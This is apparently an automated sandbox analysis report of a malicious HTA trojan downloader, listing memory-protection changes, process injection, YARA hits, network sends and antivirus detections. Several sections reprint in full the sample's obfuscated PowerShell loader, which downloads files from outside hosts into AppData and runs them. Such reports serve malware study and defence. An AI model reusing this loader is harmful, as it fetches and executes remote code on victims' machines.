NtProtectVirtualMemory Sept. 9, 2023, 9:31 p.m.	process_identifier: 2708 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076a21000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 9, 2023, 9:31 p.m.	process_identifier: 2708 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076a21000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 9, 2023, 9:31 p.m.	process_identifier: 2708 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076a21000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 9, 2023, 9:31 p.m.	process_identifier: 2708 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076a21000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 9, 2023, 9:31 p.m.	process_identifier: 2708 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076a21000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 9, 2023, 9:31 p.m.	process_identifier: 2708 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000769cd000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 9, 2023, 9:31 p.m.	process_identifier: 2708 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000769f2000 process_handle: 0xffffffffffffffff	1

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\Desktop\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (2 events)

cmdline

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function LiGvHIOT($txOWRyeIebeb, $oLpNFYWdIfVI){[IO.File]::WriteAllBytes($txOWRyeIebeb, $oLpNFYWdIfVI)};function FwSFiiFSYVTVTHXIL($txOWRyeIebeb){if($txOWRyeIebeb.EndsWith((uOOYYDAttqilkKNbGR @(57978,58032,58040,58040))) -eq $True){Start-Process (uOOYYDAttqilkKNbGR @(58046,58049,58042,58032,58040,58040,57983,57982,57978,58033,58052,58033)) $txOWRyeIebeb}else{Start-Process $txOWRyeIebeb}};function VfYawVMDSrUtxA($OSNQHjhsSMprXg){$oLFtNqCcnUSsMU = New-Object (uOOYYDAttqilkKNbGR @(58010,58033,58048,57978,58019,58033,58030,57999,58040,58037,58033,58042,58048));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$oLpNFYWdIfVI = $oLFtNqCcnUSsMU.DownloadData($OSNQHjhsSMprXg);return $oLpNFYWdIfVI};function uOOYYDAttqilkKNbGR($lIYzshXR){$wxUWk=57932;$cNLkEyfPHma=$Null;foreach($gHylftyO in $lIYzshXR){$cNLkEyfPHma+=[char]($gHylftyO-$wxUWk)};return $cNLkEyfPHma};function XMHJopzpJ(){$WOIZqGZPbjNthFdWxT = $env:AppData + '\';$xOAHReFL = $WOIZqGZPbjNthFdWxT + 'putty.exe'; if (Test-Path -Path $xOAHReFL){FwSFiiFSYVTVTHXIL $xOAHReFL;}Else{ $BUorXeLMEEUr = VfYawVMDSrUtxA (uOOYYDAttqilkKNbGR @(58036,58048,58048,58044,58047,57990,57979,57979,58048,58036,58033,57978,58033,58029,58046,58048,58036,57978,58040,58037,57979,58058,58047,58035,58048,58029,58048,58036,58029,58041,57979,58044,58049,58048,58048,58053,57979,58040,58029,58048,58033,58047,58048,57979,58051,57986,57984,57979,58044,58049,58048,58048,58053,57978,58033,58052,58033));LiGvHIOT $xOAHReFL $BUorXeLMEEUr;FwSFiiFSYVTVTHXIL $xOAHReFL;};$CzIiUhxSTLAUdkft = $WOIZqGZPbjNthFdWxT + 'resume.pdf';If(Test-Path -Path $CzIiUhxSTLAUdkft){Invoke-Item $CzIiUhxSTLAUdkft;}Else{ $KNkswdkLPiuMkJRrQhZq = VfYawVMDSrUtxA (uOOYYDAttqilkKNbGR @(58036,58048,58048,58044,58047,57990,57979,57979,58048,58046,58029,58042,58047,58034,58033,58046,57978,58047,58036,57979,58035,58033,58048,57979,57999,58037,58033,57989,58052,57988,57979,58046,58033,58047,58049,58041,58033,57978,58044,58032,58034));LiGvHIOT $CzIiUhxSTLAUdkft $KNkswdkLPiuMkJRrQhZq;Invoke-Item $CzIiUhxSTLAUdkft;};;;;}XMHJopzpJ;

cmdline

powershell.exe -ExecutionPolicy UnRestricted function LiGvHIOT($txOWRyeIebeb, $oLpNFYWdIfVI){[IO.File]::WriteAllBytes($txOWRyeIebeb, $oLpNFYWdIfVI)};function FwSFiiFSYVTVTHXIL($txOWRyeIebeb){if($txOWRyeIebeb.EndsWith((uOOYYDAttqilkKNbGR @(57978,58032,58040,58040))) -eq $True){Start-Process (uOOYYDAttqilkKNbGR @(58046,58049,58042,58032,58040,58040,57983,57982,57978,58033,58052,58033)) $txOWRyeIebeb}else{Start-Process $txOWRyeIebeb}};function VfYawVMDSrUtxA($OSNQHjhsSMprXg){$oLFtNqCcnUSsMU = New-Object (uOOYYDAttqilkKNbGR @(58010,58033,58048,57978,58019,58033,58030,57999,58040,58037,58033,58042,58048));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$oLpNFYWdIfVI = $oLFtNqCcnUSsMU.DownloadData($OSNQHjhsSMprXg);return $oLpNFYWdIfVI};function uOOYYDAttqilkKNbGR($lIYzshXR){$wxUWk=57932;$cNLkEyfPHma=$Null;foreach($gHylftyO in $lIYzshXR){$cNLkEyfPHma+=[char]($gHylftyO-$wxUWk)};return $cNLkEyfPHma};function XMHJopzpJ(){$WOIZqGZPbjNthFdWxT = $env:AppData + '\';$xOAHReFL = $WOIZqGZPbjNthFdWxT + 'putty.exe'; if (Test-Path -Path $xOAHReFL){FwSFiiFSYVTVTHXIL $xOAHReFL;}Else{ $BUorXeLMEEUr = VfYawVMDSrUtxA (uOOYYDAttqilkKNbGR @(58036,58048,58048,58044,58047,57990,57979,57979,58048,58036,58033,57978,58033,58029,58046,58048,58036,57978,58040,58037,57979,58058,58047,58035,58048,58029,58048,58036,58029,58041,57979,58044,58049,58048,58048,58053,57979,58040,58029,58048,58033,58047,58048,57979,58051,57986,57984,57979,58044,58049,58048,58048,58053,57978,58033,58052,58033));LiGvHIOT $xOAHReFL $BUorXeLMEEUr;FwSFiiFSYVTVTHXIL $xOAHReFL;};$CzIiUhxSTLAUdkft = $WOIZqGZPbjNthFdWxT + 'resume.pdf';If(Test-Path -Path $CzIiUhxSTLAUdkft){Invoke-Item $CzIiUhxSTLAUdkft;}Else{ $KNkswdkLPiuMkJRrQhZq = VfYawVMDSrUtxA (uOOYYDAttqilkKNbGR @(58036,58048,58048,58044,58047,57990,57979,57979,58048,58046,58029,58042,58047,58034,58033,58046,57978,58047,58036,57979,58035,58033,58048,57979,57999,58037,58033,57989,58052,57988,57979,58046,58033,58047,58049,58041,58033,57978,58044,58032,58034));LiGvHIOT $CzIiUhxSTLAUdkft $KNkswdkLPiuMkJRrQhZq;Invoke-Item $CzIiUhxSTLAUdkft;};;;;}XMHJopzpJ;

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW Sept. 9, 2023, 9:31 p.m.	show_type: 0 filepath_r: powershell.exe parameters: -ExecutionPolicy UnRestricted function LiGvHIOT($txOWRyeIebeb, $oLpNFYWdIfVI){[IO.File]::WriteAllBytes($txOWRyeIebeb, $oLpNFYWdIfVI)};function FwSFiiFSYVTVTHXIL($txOWRyeIebeb){if($txOWRyeIebeb.EndsWith((uOOYYDAttqilkKNbGR @(57978,58032,58040,58040))) -eq $True){Start-Process (uOOYYDAttqilkKNbGR @(58046,58049,58042,58032,58040,58040,57983,57982,57978,58033,58052,58033)) $txOWRyeIebeb}else{Start-Process $txOWRyeIebeb}};function VfYawVMDSrUtxA($OSNQHjhsSMprXg){$oLFtNqCcnUSsMU = New-Object (uOOYYDAttqilkKNbGR @(58010,58033,58048,57978,58019,58033,58030,57999,58040,58037,58033,58042,58048));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$oLpNFYWdIfVI = $oLFtNqCcnUSsMU.DownloadData($OSNQHjhsSMprXg);return $oLpNFYWdIfVI};function uOOYYDAttqilkKNbGR($lIYzshXR){$wxUWk=57932;$cNLkEyfPHma=$Null;foreach($gHylftyO in $lIYzshXR){$cNLkEyfPHma+=[char]($gHylftyO-$wxUWk)};return $cNLkEyfPHma};function XMHJopzpJ(){$WOIZqGZPbjNthFdWxT = $env:AppData + '\';$xOAHReFL = $WOIZqGZPbjNthFdWxT + 'putty.exe'; if (Test-Path -Path $xOAHReFL){FwSFiiFSYVTVTHXIL $xOAHReFL;}Else{ $BUorXeLMEEUr = VfYawVMDSrUtxA (uOOYYDAttqilkKNbGR @(58036,58048,58048,58044,58047,57990,57979,57979,58048,58036,58033,57978,58033,58029,58046,58048,58036,57978,58040,58037,57979,58058,58047,58035,58048,58029,58048,58036,58029,58041,57979,58044,58049,58048,58048,58053,57979,58040,58029,58048,58033,58047,58048,57979,58051,57986,57984,57979,58044,58049,58048,58048,58053,57978,58033,58052,58033));LiGvHIOT $xOAHReFL $BUorXeLMEEUr;FwSFiiFSYVTVTHXIL $xOAHReFL;};$CzIiUhxSTLAUdkft = $WOIZqGZPbjNthFdWxT + 'resume.pdf';If(Test-Path -Path $CzIiUhxSTLAUdkft){Invoke-Item $CzIiUhxSTLAUdkft;}Else{ $KNkswdkLPiuMkJRrQhZq = VfYawVMDSrUtxA (uOOYYDAttqilkKNbGR @(58036,58048,58048,58044,58047,57990,57979,57979,58048,58046,58029,58042,58047,58034,58033,58046,57978,58047,58036,57979,58035,58033,58048,57979,57999,58037,58033,57989,58052,57988,57979,58046,58033,58047,58049,58041,58033,57978,58044,58032,58034));LiGvHIOT $CzIiUhxSTLAUdkft $KNkswdkLPiuMkJRrQhZq;Invoke-Item $CzIiUhxSTLAUdkft;};;;;}XMHJopzpJ; filepath: powershell.exe	1	1	0

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory Sept. 9, 2023, 9:32 p.m.	process_identifier: 2708 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 32 (PAGE_EXECUTE_READ) base_address: 0x000007fffff80000 process_handle: 0xffffffffffffffff	1	0	0

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses Sept. 9, 2023, 9:31 p.m.	flags: 15 family: 0		111	0

URL downloaded by powershell script (14 events)

Data received
Data received	F
Data received	7
Data received	3¦k%nëºS~æ/!¶jßÇ]6qK8DOWNGRDÀ ÿ
Data received	ª
Data received	¦£00 O>LìTdvTI³ájÖô0 H÷ 0210 UUS10U Let's Encrypt10 UR30 230814194251Z 231112194250Z010Utransfer.sh0Y0HÎ=HÎ=B®}õ0î9Ìýª .Y~ß_EV@ä)zD¥ÕzÁ¡¡fÌ pgAÄ]ÃÁíáDç£ 0 0Uÿ0U%0++0Uÿ00U25GÙuå\Þ5æR®ÒÎî0U#0.³·XVË®P @æ¯ÂÆ0U+I0G0!+0http://r3.o.lencr.org0"+0http://r3.i.lencr.org/0U0 transfer.sh0U 0 0g0 +Öyõòðv·>û$ßMºuò9ÅºXôl]üBÏz5Ä %í´õÉ¯G0E!æ=\| rýp8)@·Ø¤//®¿;õÐÅñf¿:¬ñY dÛtI5Lyéª?¡º)Bu\xÿûöYábÓïÙNv÷¾ú\|ÿÈ=>j´g)]Ï±$Ê4ëÜõÉåG0E wÞ .j?-)JUDïáâl-Çf@Õð!!Ë]mæëÁø{þo]\G¬.#%ÄNJñ(JÑ10 H÷ UgpQ¤5ûñTBØ\|6I+/ù8e 3«ÒZ j(:8Àwþîà']V¼Eï¤õÃ¸ò:´=[Bhb«âbc.Êg)RaÄ¹SÉÍbiã@cÖÜj÷B Dew2ZîB¤PuxÉ^7¹=Üû:ÇÇZ`ìXuÀgêO°å>Ë\Ëq»;ÄGì ëeö÷IöÀúý c»HKQÃN46)Ì¤x7n¨qý4WDé- v½5¯A©°Ã©:½¦ó-ûN4ç\ñ=ú&=©cè³SI `nÎ= 00þ +JÏ§SöÖ.%§_Z0 H÷ 0O10 UUS1)0'U Internet Security Research Group10UISRG Root X10 200904000000Z 250915160000Z0210 UUS10U Let's Encrypt10 UR30"0 H÷ 0 »(Ìö ÓìUÃøñ¦zB§]&ªµ+¹ÅL±¯kùuÈ£×GU5W¨¢9õ<B©Nnõ;Ã.ÛÀ°\óY8çíÏiðZ¾À$%ú7q³ç¬áïÛä;ERE©ÁSÎ4ÈRîµ®íÞ`pâ¥T«¶m¥@4k+Ó¼fëf4\|úkW)ø0]ºroûÅÒX=Çç »ñ+÷ÜÁÚq]ÔFãÌ%Á¼`guf³ñ÷¢\æSÿ:¶G¥ÿê w?SùÏåõ¦p¯c¤ÿ³ÜS§þH¡i®%u»ÌRõíQ¡Û£00Uÿ0U%0++0Uÿ0ÿ0U.³·XVË®P @æ¯ÂÆ0U#0y´Yæ{¶åäsÈXöén02+&0$0"+0http://x1.i.lencr.org/0'U 00 http://x1.c.lencr.org/0"U 00g0 +ß0 H÷ ÊNG>£÷D¼Õgx²cuM=3erT- êÃíø ¿_Ì·p·n;ö^Þä ¦ï²ç¢µ<Î´í9ç\|%Gæen?FôÙðÎ+îTÎ¼'K¸Á/¢¯ÍqJ·È¸#{-ùW>Ù3 G!x 'ÃÈ¹Î\òdÈÀ¾yÀOmD^».÷áèD)ÛY íc¹!ø&W eÁ "® C¡~àà7µZ±½0¿n+ÿ!NÃõð^¬Ã¥¸jð.¼;3¹îKÞÌüä¯?ÀUC6öhá6jÑÿ¥@§4·ÀÐc959unòºvÈé©KlÎÙ½û·hÔe³=wSøy 1uCØUrÄ)÷Ä]NÈ®F0×ò_¡y»ç^páÃ¹Üaq%¯ßí%PRhÜåÖµãÚ}Ðl!1®õû¹«È=áLå8ö½+½ëÕÛ= §~YÓâøXù[¸HÍþ\O)þU#¯È°ê\|/ý¬¢ GF?ðé°·ÿ(Mh2Ög^i£¸õ/ÒRC¦o2WeM2ß8S]~]f)ê¸ÝäµÍµVBÍÄNÆ%8DPmìÎUþéIdÔNÊ´[Às¨«¸GÂd0`0H @w!7ÔéB¸îvª<d ·0 H÷ 0?1$0"U Digital Signature Trust Co.10UDST Root CA X30 210120191403Z 240930181403Z0O10 UUS1)0'U Internet Security Research Group10UISRG Root X10"0 H÷ 0 è$sô7ó+W(¾Ü·ß8n<æW x÷uÂ¢þõjnöO(ÛÞhlD¶±cýk¿Òê1!~Ñ3<ºHõÝyß³¸ÿñ!KÁqiJffl~<p¿)"óäÀæ®âK·~ÓG\|H#Sè8®O o.ÑIWt¶Ú/Ð8{p!uò0<ú®ÝÚc«ëOÂK~Ïèÿµw.ô²{JàL%p) áS$ìÙî¿³J?£aQÞ¬ôcqì.âo[á\4ylvï;byæÛ¤/&ÅÐáÞÙû·÷¨÷Çå6çâ7 6uûr±¼ùIØÝ´ÖAé¬v ØßÕ½5/(lÒÁ¨ dwnG7ºÎ¬Y^hrÖÅA)>Y>Ý&õ$É§Z£L@F¡µ§:Qn;}r§xYí>QxÐ/²>{JKsüÆêàP\|Ct³ÊtçÐ0Ô[q6´ºÁ00\H·;¦}`¢£)Ìº½¢A¡ÖñÂ¶ð¨\|;F¨HÜvv¿j¥=ë8ódÞÈ+ (ÿ÷ÛâBÔ"Ð']áyþçpNæÙ:ÆÝ'Qnÿ¼dõ3CO£F0B0Uÿ0ÿ0Uÿ0K+?0=0;+0/http://apps.identrust.com/roots/dstrootcax3.p7c0U#0Ä§±¤{,qúÛáKuÿÄ`0TU M0K0g0?+ß000.+"http://cps.root-x1.letsencrypt.org0<U50301 / -+http://crl.identrust.com/DSTROOTCAX3CRL.crl0Uy´Yæ{¶åäsÈXöén0 H÷ slnÿRÐ®ÝçZ/¨ã¿É PÂålB»oô´OÂDuÌëbnxÞì'º9\õ¢¡nVpS±»ä¯Ð¢Ã+ÔôÅ 53ùØa6àq´¸µªEÀò©#(çÖ¡ËgÚ C,ªÉÞõ«i]õ[X"ÊMUäpgmÂWÅF9AÏXXmþWè6ð#ªýÐã\Iµµ5Ò.¿Nïàë;l)# `ÜEL;éûÞÜDøX®ê½EE¡]fÊþéoÈB ûéìãÞã8ú¤}±ØèI+èkO8w.ùÝç9
Data received
Data received	A'xÔÖÀ~éJÀy<m:2PYrtÎ§«Ðx=Æi_.Â_¨øàS`øÊLÃ¤¿Ä\|Ûà¯ªLRG0E!Î¥tb0ø5±óps^¡pnÏUemçà æ i4&tÿ÷×m\m¢ùÝÉ"çC
Data received
Data received
Data received
Data received
Data received	0
Data received	¬[VedpÎÖï³¸®M5ÓÜ×m¡e{"óY&ì` ¦L#éT"X(

Poweshell is sending data to a remote host (4 events)

Data sent	okdüggÕTñEÑ9X?¦Ç¦ßôRkêû/5 ÀÀÀ À 28ÿthe.earth.li
Data sent	okdügg¸}z£lP²ãk'ÑÒ·ø¥§ë/5 ÀÀÀ À 28ÿthe.earth.li
Data sent	njdügm©qªKºRS×ûçÃÆÆK¾:øZ¼/5 ÀÀÀ À 28)ÿtransfer.sh
Data sent	FBA2ÞhqIfÃÓÍJq¹©¿)9EÖ]0m¸Ù»»sÇH7áìÐxæ=îpPÒ¹Òrl P£0¶0szq©Í¤_-+4B_óö=ièÿÓzu¼uq¡}(eWªeÊ¢À§®&2j>

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Sept. 9, 2023, 9:31 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Yara rule detected in process memory (8 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Uses Windows utilities for basic Windows functionality (1 event)

cmdline

"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2620 CREDAT:145409

A command shell or script process was created by an unexpected parent process (1 event)

parent_process

iexplore.exe

martian_process

Network communications indicative of a potential document or script payload download was initiated by the process powershell.exe (5 events)

Time & API	Arguments	Status	Return
send Sept. 9, 2023, 9:31 p.m.	buffer: okdüggÕTñEÑ9X?¦Ç¦ßôRkêû/5 ÀÀÀ À 28ÿthe.earth.li socket: 1272 sent: 116	1	116
send Sept. 9, 2023, 9:31 p.m.	buffer: okdügg¸}z£lP²ãk'ÑÒ·ø¥§ë/5 ÀÀÀ À 28ÿthe.earth.li socket: 1272 sent: 116	1	116
send Sept. 9, 2023, 9:31 p.m.	buffer: njdügm©qªKºRS×ûçÃÆÆK¾:øZ¼/5 ÀÀÀ À 28)ÿtransfer.sh socket: 1000 sent: 115	1	115
send Sept. 9, 2023, 9:32 p.m.	buffer: FBA2ÞhqIfÃÓÍJq¹©¿)9EÖ]0m¸Ù»»sÇH7áìÐxæ=îpPÒ¹Òrl P£0¶0szq©Í¤_-+4B_óö=ièÿÓzu¼uq¡}(eWªeÊ¢À§®&2j> socket: 1000 sent: 134	1	134
WSASend Sept. 9, 2023, 9:32 p.m.	buffer: GET /roots/dstrootcax3.p7c HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Microsoft-CryptoAPI/6.1 Host: apps.identrust.com socket: 1796		0

One or more non-whitelisted processes were created (3 events)

parent_process	powershell.exe	martian_process	C:\Users\test22\AppData\Roaming\putty.exe
parent_process	iexplore.exe	martian_process	powershell.exe -ExecutionPolicy UnRestricted function LiGvHIOT($txOWRyeIebeb, $oLpNFYWdIfVI){[IO.File]::WriteAllBytes($txOWRyeIebeb, $oLpNFYWdIfVI)};function FwSFiiFSYVTVTHXIL($txOWRyeIebeb){if($txOWRyeIebeb.EndsWith((uOOYYDAttqilkKNbGR @(57978,58032,58040,58040))) -eq $True){Start-Process (uOOYYDAttqilkKNbGR @(58046,58049,58042,58032,58040,58040,57983,57982,57978,58033,58052,58033)) $txOWRyeIebeb}else{Start-Process $txOWRyeIebeb}};function VfYawVMDSrUtxA($OSNQHjhsSMprXg){$oLFtNqCcnUSsMU = New-Object (uOOYYDAttqilkKNbGR @(58010,58033,58048,57978,58019,58033,58030,57999,58040,58037,58033,58042,58048));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$oLpNFYWdIfVI = $oLFtNqCcnUSsMU.DownloadData($OSNQHjhsSMprXg);return $oLpNFYWdIfVI};function uOOYYDAttqilkKNbGR($lIYzshXR){$wxUWk=57932;$cNLkEyfPHma=$Null;foreach($gHylftyO in $lIYzshXR){$cNLkEyfPHma+=[char]($gHylftyO-$wxUWk)};return $cNLkEyfPHma};function XMHJopzpJ(){$WOIZqGZPbjNthFdWxT = $env:AppData + '\';$xOAHReFL = $WOIZqGZPbjNthFdWxT + 'putty.exe'; if (Test-Path -Path $xOAHReFL){FwSFiiFSYVTVTHXIL $xOAHReFL;}Else{ $BUorXeLMEEUr = VfYawVMDSrUtxA (uOOYYDAttqilkKNbGR @(58036,58048,58048,58044,58047,57990,57979,57979,58048,58036,58033,57978,58033,58029,58046,58048,58036,57978,58040,58037,57979,58058,58047,58035,58048,58029,58048,58036,58029,58041,57979,58044,58049,58048,58048,58053,57979,58040,58029,58048,58033,58047,58048,57979,58051,57986,57984,57979,58044,58049,58048,58048,58053,57978,58033,58052,58033));LiGvHIOT $xOAHReFL $BUorXeLMEEUr;FwSFiiFSYVTVTHXIL $xOAHReFL;};$CzIiUhxSTLAUdkft = $WOIZqGZPbjNthFdWxT + 'resume.pdf';If(Test-Path -Path $CzIiUhxSTLAUdkft){Invoke-Item $CzIiUhxSTLAUdkft;}Else{ $KNkswdkLPiuMkJRrQhZq = VfYawVMDSrUtxA (uOOYYDAttqilkKNbGR @(58036,58048,58048,58044,58047,57990,57979,57979,58048,58046,58029,58042,58047,58034,58033,58046,57978,58047,58036,57979,58035,58033,58048,57979,57999,58037,58033,57989,58052,57988,57979,58046,58033,58047,58049,58041,58033,57978,58044,58032,58034));LiGvHIOT $CzIiUhxSTLAUdkft $KNkswdkLPiuMkJRrQhZq;Invoke-Item $CzIiUhxSTLAUdkft;};;;;}XMHJopzpJ;
parent_process	iexplore.exe	martian_process	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function LiGvHIOT($txOWRyeIebeb, $oLpNFYWdIfVI){[IO.File]::WriteAllBytes($txOWRyeIebeb, $oLpNFYWdIfVI)};function FwSFiiFSYVTVTHXIL($txOWRyeIebeb){if($txOWRyeIebeb.EndsWith((uOOYYDAttqilkKNbGR @(57978,58032,58040,58040))) -eq $True){Start-Process (uOOYYDAttqilkKNbGR @(58046,58049,58042,58032,58040,58040,57983,57982,57978,58033,58052,58033)) $txOWRyeIebeb}else{Start-Process $txOWRyeIebeb}};function VfYawVMDSrUtxA($OSNQHjhsSMprXg){$oLFtNqCcnUSsMU = New-Object (uOOYYDAttqilkKNbGR @(58010,58033,58048,57978,58019,58033,58030,57999,58040,58037,58033,58042,58048));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$oLpNFYWdIfVI = $oLFtNqCcnUSsMU.DownloadData($OSNQHjhsSMprXg);return $oLpNFYWdIfVI};function uOOYYDAttqilkKNbGR($lIYzshXR){$wxUWk=57932;$cNLkEyfPHma=$Null;foreach($gHylftyO in $lIYzshXR){$cNLkEyfPHma+=[char]($gHylftyO-$wxUWk)};return $cNLkEyfPHma};function XMHJopzpJ(){$WOIZqGZPbjNthFdWxT = $env:AppData + '\';$xOAHReFL = $WOIZqGZPbjNthFdWxT + 'putty.exe'; if (Test-Path -Path $xOAHReFL){FwSFiiFSYVTVTHXIL $xOAHReFL;}Else{ $BUorXeLMEEUr = VfYawVMDSrUtxA (uOOYYDAttqilkKNbGR @(58036,58048,58048,58044,58047,57990,57979,57979,58048,58036,58033,57978,58033,58029,58046,58048,58036,57978,58040,58037,57979,58058,58047,58035,58048,58029,58048,58036,58029,58041,57979,58044,58049,58048,58048,58053,57979,58040,58029,58048,58033,58047,58048,57979,58051,57986,57984,57979,58044,58049,58048,58048,58053,57978,58033,58052,58033));LiGvHIOT $xOAHReFL $BUorXeLMEEUr;FwSFiiFSYVTVTHXIL $xOAHReFL;};$CzIiUhxSTLAUdkft = $WOIZqGZPbjNthFdWxT + 'resume.pdf';If(Test-Path -Path $CzIiUhxSTLAUdkft){Invoke-Item $CzIiUhxSTLAUdkft;}Else{ $KNkswdkLPiuMkJRrQhZq = VfYawVMDSrUtxA (uOOYYDAttqilkKNbGR @(58036,58048,58048,58044,58047,57990,57979,57979,58048,58046,58029,58042,58047,58034,58033,58046,57978,58047,58036,57979,58035,58033,58048,57979,57999,58037,58033,57989,58052,57988,57979,58046,58033,58047,58049,58041,58033,57978,58044,58032,58034));LiGvHIOT $CzIiUhxSTLAUdkft $KNkswdkLPiuMkJRrQhZq;Invoke-Item $CzIiUhxSTLAUdkft;};;;;}XMHJopzpJ;

Putty Files, Registry Keys and/or Mutexes Detected

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2620 resumed a thread in remote process 2708
NtResumeThread Sept. 9, 2023, 9:31 p.m.	thread_handle: 0x0000000000000358 suspend_count: 1 process_identifier: 2708	1	0	0

Creates a suspicious Powershell process (2 events)

option	-executionpolicy unrestricted				value	Attempts to bypass execution policy
option	-executionpolicy unrestricted				value	Attempts to bypass execution policy

The process powershell.exe wrote an executable file to disk (19 events)

file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe

File has been identified by 22 AntiVirus engines on VirusTotal as malicious (22 events)

Lionic	Trojan.Script.Generic.4!c
FireEye	VB:Trojan.Valyria.6828
ALYac	VB:Trojan.Valyria.6828
VIPRE	VB:Trojan.Valyria.6828
Sangfor	Malware.Generic-VBS.Save.d3bc8d82
Arcabit	VB:Trojan.Valyria.D1AAC
Cyren	VBS/Agent.APP!Eldorado
ESET-NOD32	VBS/TrojanDownloader.Agent.XAO
Cynet	Malicious (score: 99)
Kaspersky	HEUR:Trojan-Downloader.Script.Generic
BitDefender	VB:Trojan.Valyria.6828
NANO-Antivirus	Trojan.Script.Downloader.jpdglv
MicroWorld-eScan	VB:Trojan.Valyria.6828
Tencent	Vbs.Trojan-Downloader.Der.Ocnw
Emsisoft	VB:Trojan.Valyria.6828 (B)
F-Secure	Malware.VBS/Dldr.Agent.VPJK
Jiangmin	Trojan.Script.amhb
Avira	VBS/Dldr.Agent.VPJK
GData	VB:Trojan.Valyria.6828
Google	Detected
MAX	malware (ai score=86)
Fortinet	VBS/Agent.UQJ!tr

1.hta

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All